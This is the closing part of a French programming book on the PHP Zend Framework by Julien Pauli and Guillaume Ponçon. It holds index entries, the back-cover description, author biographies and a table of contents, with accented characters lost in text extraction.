processus 115
route par dfaut 120
routeur 103
Row Data Gateway 74
Rowset 61
tendre 71
srialiser 64
RSS 218, 232
run() (Zend_Controller_Front) 81
S
safe_mode 400
SAPI (couche) 398
scurit 201
cookies 203, 209
CSRF 207
faille 203
filtrage 203
formulaire 203
HTTP Response Splitting 205
JavaScript 203
jeton anti-CSRF 209
proxy 203
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2005
444
sessions 209
XSS 205
SELECT (requte) 55, 57
SeleniumServer 270
self (POO) 321
squence (diagramme) 331
srialisation 217
srialisation (POO) 350
srialiser (Row) 64
serialize() 64
serialize() 64
serveur
Apache 23
classe ~ 219
serveur web (HTTP) 397
optimisation 397
service
contrleur de ~s 221
web 216
session 64, 152
configuration 154
cycle de vie 152
dfinition 153
espaces de noms 155
identifiant 210
remember_me_seconds 154
scurit 209
trans-sid 154
vol 211
Zend_Config (dclaration) 154
SGBD 50, 302
architecture 302
architecture rpartie 309
changer de ~ 52
charge 309
colonnes 55
connexion 51
dclencheurs 69
interagir avec le ~ 54
liste 305
MySQL 305
ORM (mapping objet-
relationnel) 309
procdures stockes 69
squence 64
short_open_tag 400
simpleXML 223
simplexml_load_file 36
simplicit 2, 6
singleton 45, 103
Singleton (motif)
exemple 367
introduction 367
protg 368
utilisation 368
Zend Framework (dans) 368
Smarty 142, 292
SMTP 247
SOAP 218, 227
sortie standard 40
souplesse 2, 6
sous-vue (Zend_Layout) 92
spcifications (de lapplication
exemple) 11
SPL (POO) 356
autoload 361
itrateur (drivs) 360
iterator 356
RecursiveIterator 358
traversable 356
SPL (Standard PHP Library) 197
ArrayObject 46
SQL
alias 57
colonnes 62
expressions 51
vue 53, 69
SQLite 51
extension 308
squelette applicatif
application exemple 82
code 83
stabilit 68
Standard PHP Library 356
StarUML 334
Statement 51
static (POO) 320
exemple 320
hritage 321
statique
attribut 320
classe ~ 190
mthode 320
principe 320
stdClass 159
strotype (UML) 330
structure (de Zend Framework) 3
Subversion 410
Apache (liaison) 416
architecture (fichiers) 411
atout 411
client (Windows) 412
commande (liste) 413
dpt (Zend Framework) 411
dpt de donnes 410
externals 24
tlchargement de Zend
Framework 24
TortoiseSVN 412
utilit 24
version 19
Zend Framework 411
superglobale
variable 203
support
commercial 2
de cache 188
technique 2
SVN (commande) 415
checkout 412
commit 413
export 414
log 414
patch (create) 414
revert 414
update 413
Symfony 2
T
table
classes modles 60
dpendances 69
enregistrement 59
enregistrements dpendants 65
gestion 59
interroger 50
jeu denregistrements 59
mapping 60
modles 60
passerelle 50, 59
relations 65
I
n
d
e
x
Groupe Eyrolles, 2005
445
Table Data Gateway 59
tlchargement
de Zend Framework 22
par Subversion 24
sous Unix 23
sous Windows 23
templates
Smarty 292
test
classe (PHPUnit) 424
de Zend Framework 25
fonctionnel 270, 418
intgration 418
non-rgression 418
organisation 426
performance (de) 418
pilotage des dveloppements 426
suite 435
unitaire 419
Zend Framework (dans) 435
Zend_Test 436
test unitaire 419
assertion 421
avantage 419
dfinition 418
exemple 419
scnario (dfinition) 419
Zend Framework (dans) 421
tester Zend Framework 25
threads (PHP) 396
throw (POO) 336
timestamp 181
timezone 181, 401
TMX
adaptateur Zend_Translate 171
exemple (Zend_Translate) 174
toArray 38
TortoiseSVN 412, 415
log (show) 414
repo-browser 414
revision graph 414
tlchargement 412
Trac (outil) 416
track_errors 401
traduction
exemple (Zend_Translate) 173
transaction
base de donnes 306
trans-sid (directive session) 154
traversable (SPL) 356
try (exception - POO) 336
try/catch (bloc) 56
typage
argument 343
base de donnes 304
faible 330
U
Ubuntu
paquetages 23
Umbrello 333
UML (Unified Modeling
Language) 329
association 331
cas dutilisation (diagramme) 329
classe (diagramme) 330
introduction 329
squence (diagramme) 331
strotype 330
UML2PHP5 335
Unix
PHP (excution) 396
tlchargement de Zend
Framework 23
URL
aide daction 95
analyse 117
cration 136, 146
de base (HTML) 146
de lapplication exemple 11
forum Zend Framework 26
rcriture 117
Zend Framework 22
use case (UML) 329
UTF-8 169, 247
utilisation initiale (de Zend
Framework) 25
V
validateur 203
variable
contexte global 46
de classe 314
globales 45
partage 46
recouvrement 45
superglobales 203
version
Apache 18
Eclipse 19
gestion des 410
MySQL 18
PHP 18, 22
PHPUnit 19
Subversion 19
Zend Framework 18, 411
Zend Studio 19
ViewRenderer (aide daction) 95
views
dossier (Zend_Controller) 78
visibilit (POO) 316
vue 243
aide de ~ 91
dans le contrleur 84
sous-vue (Zend_Layout) 92
Zend_Controller (exemple) 81
vue (MVC)
dfinition 384
W
web
service ~ 216
flux XML 223
lancement 222
Windows 18
PHP (excution) 395
tlchargement du framework 23
WSDL 227
WYSIWIG 250
X
Xdebug 267
XMI (fichier) 332
XML 137, 217
format 34
XML-RPC 218
XMLWriter 140
Xpath 271
XSS (Cross Site Scripting) 205
attaque 147
Xubuntu 18
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2005
446
Z
ze1_compatibility_mode 400
Zend 70
Zend Core (PHP) 397
Zend Debugger 267
Zend Framework (version) 18
Zend Studio
version 19
Zend Studio pour Eclipse 262
dbogueur 266
formateur de code 266
perspective 265
profileur 268
projet 263
session de dbogage 267
Zend_Acl 160
assertion 164
bootstrap (dclaration) 162
contrler un accs 164
dfinition 160
exemple 163
performance 163
session 162
Zend_Auth 156
adaptateur 157
authenticate() 159
clearIdentity() 159
composition 157
diagramme de classe 156
getResultRowObject() 159
hasIdentity() 159
rcupration dinformation 159
utilisation 157
Zend_Auth_Adapter 157
Zend_Auth_Result 157
Zend_Auth_Storage 157
Zend_Cache 68, 186, 291
Zend_Config 34, 52, 119
session (dclaration) 154
Zend_Config_Ini 35
Zend_Config_Xml 36
Zend_Controller 78, 81, 101
action 126
action_helperBroker 129
architecture 78
bootstrap 79
distributeur 125
ErrorController 93
exemple simple 80
front 109
gestion des erreurs 93
getStaticHelper() 95
HelperBroker 95
init() 87
introduction 78
module 80
plugin 120
postDispatch() 87
pour Zend Studio 78
preDispatch() 87
renderScript() 95
request 113
requte HTTP 79
response 115
rsum 99
router 117
vue (exemple simple) 81
Zend_Controller_Front
run() 81
Zend_Controller_Request_HttpTestC
ase 272
Zend_Currency 179
performance 180
Zend_Date 180
Zend_Db 39, 50
Zend_Db_Select 57
Zend_Db_Table 50, 59
Zend_Debug 43, 289
Zend_Exception 44, 338
Zend_Feed 230
Zend_Filter 203
Zend_Form 250, 254
Zend_Layout 135
appels 90
body 89
composition 88
dclaration du menu 92
footer 89
gabarit principal 89
header 88
introduction 88
partial() 91
Zend_Loader 30
Zend_Loader_PluginLoader 282
Zend_Locale 169
bootstrap (dclaration) 170
Zend_Log 289
vnements 41
journal 42
Zend_Mail 243
Zend_Memory 186
Zend_Pdf 247
Zend_Registry 45
Zend_Rest 224
Zend_Session 39, 153, 210
$_SESSION 153
bootstrap (dclaration) 154
configuration 154
espaces de nom 155
garbage collector 155
Zend_Config (configuration) 154
Zend_Session_Namespace 153
avantage 155
exemple 155
utilisation 155
Zend_SOAP 228
Zend_Test 270, 436
Zend_Translate 170
adaptateur 171
architecture (rgles) 175
bootstrap 176
exemple 172
structure 175
Zend_Validate 202
Zend_View 127, 132, 142, 206, 234
mthodes magiques 84
rendu automatique 95
Zend_XmlRpc 235
ZendPlatform 188
ZSFE (Zend Studio for Eclipse) 262
Programmez intelligent
Zend Framework
En imposant des rgles strictes de gestion de code et en offrant une trs
riche bibliothque de composants prts lemploi, le framework PHP 5 Zend
Framework guide le dveloppeur web dans lindustrialisation de ses dvelop-
pements, afin den garantir la fiabilit, lvolutivit et la facilit de maintenance.
Cet ouvrage prsente les meilleures pratiques de dveloppement web avec
PHP 5 et le Zend Framework : design patterns, MVC, base de donnes, scu-
rit, interoprabilit, tests unitaires, gestion des flux et des sessions, etc.
Non sans rappeler les prrequis techniques et thoriques lutilisation du fra-
mework, louvrage aidera tant les dveloppeurs dbutants en PHP que les
chefs de projets ou architectes aguerris souhaitant lutiliser en entreprise.
avec
les
Cahiers
du
Programmeur
C
o
n
c
e
p
t
i
o
n

c
o
u
v
e
r
t
u
r
e
:

N
o
r
d
c
o
m
p
o
Architecte certifi PHP et Zend
Framework, Julien Pauli est
responsable du ple Zend Frame-
work/PHP chez Anaska (groupe
Alter Way). Contributeur de la pre-
mire heure au framework en colla-
boration avec Zend Technologies,
confrencier et membre de lAFUP,
il publie des articles sur PHP dans la
presse.
Fondateur et grant de la socit
OpenStates ( partenai re Zend
T e c h n o l o g i e s e t An a s k a ) ,
Guillaume Ponon intervient
depuis plus de sept ans auprs de
grands comptes sur de nom-
breuses missions dexpertise, de
conseil et de formation PHP. Ing-
nieur EPITA, expert certifi PHP et
Zend Framework, il est aussi sp-
cialiste des systmes Unix/Linux et
pratique Java et C/C++. Trs im-
pliqu dans la communaut PHP,
avec la prsidence de lAFUP en
2007-2008 et la cration de la
Web TV PHPTV, il est lauteur de
louvrage Best practices PHP 5 et
coauteur du Mmento PHP et SQL
aux ditions Eyrolles.
Sommaire
Zend Framework

Inconvnients et avantages

Structure et principes

Conseils
pour dmarrer

Cahier des charges

Une application de rservations de salles

Spcifications fonctionnelles et techniques



Conventions

Installation et prise en
main

Tlchargement et configuration

Composants de base

Chargement des
classes

Gestion des messages

Dbogage

Exceptions

Registre

Bases de don-
nes

SGBD compatibles

PDO

Excution de requtes

Passerelles et modles
de donnes

Performances et scurit des donnes

tendre Zend_Db

MVC : pre-
mire approche

Parcours de la requte

Crer une vue

Crer un gabarit gn-
ral

MVC avanc

Les objets de MVC

Routage

Dispatching

Plugins

Aides de
vues et daction

Distributeur

Configuration

Sessions

Le composant session

Espaces de noms

Authentification

Adaptateurs

Listes de contrle daccs

Ressources et rles des ACL



Internationalisation

Gestion de la locale

Multilinguisme

Gettext/TMX

Monnaies

Dates

Performances

Cache

APC

Gestion de la mmoire

Compilation

Scurit

Validateurs

Filtres

Attaques cou-
rantes et parades

Interoprabilit

REST

SOAP

Flux de donnes

Autres com-
posants

E-mails

PDF

Formulaires

Outils et mthodologie

Zend Studio pour
Eclipse (IDE)

Dbogage

Profilage

Tests

Utilisation avance

Crer et driver
des composants

Intgration

Annexes

Ce quest un framework

Rappel sur les
bases de donnes

Programmation oriente objet

Motifs de conception (design pat-
terns)

MVC

PHP

Subversion

PHPUnit.
Julien Pauli
Guillaume Ponon
Bien dvelopper en PHP
Prface de Wil Sinclair
les
Cahiers
du
Programmeur
J
.

P
a
u
l
i
G
.

P
o
n

o
n
Z
e
n
d
F
r
a
m
e
w
o
r
k
_ _ g

Vous aimerez peut-être aussi